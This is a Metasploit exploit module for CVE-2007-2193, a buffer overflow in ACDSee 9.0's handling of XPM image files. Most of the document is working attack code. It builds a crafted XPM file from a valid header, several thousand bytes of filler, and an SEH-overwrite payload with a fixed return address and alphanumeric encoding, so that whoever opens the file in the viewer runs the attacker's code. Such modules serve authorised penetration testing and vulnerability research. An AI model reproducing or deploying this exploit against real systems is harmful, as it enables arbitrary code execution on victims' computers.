ACDSee XPM File Section Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ACDSee XPM File Section Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in ACDSee 9.0.
          When viewing a malicious XPM file with the ACDSee product,
          a remote attacker could overflow a buffer and execute
          arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => 'MC',
        'References' => [
          [ 'CVE', '2007-2193' ],
          [ 'OSVDB', '35236' ],
          [ 'BID', '23620' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => true,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2007-11-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),
      ]
    )
  end

  def exploit
    filler = rand_text_alpha_upper(rand(25) + 1)

    # http://www.fileformat.info/format/xpm/
    head = "/* XPM */\r\n"
    head << "static char * #{filler}[] = {\r\n"
    head << "\""

    buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)

    foot = "\",\r\n" + "};\r\n"

    xpm = head + buff + foot

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(xpm)
  end
end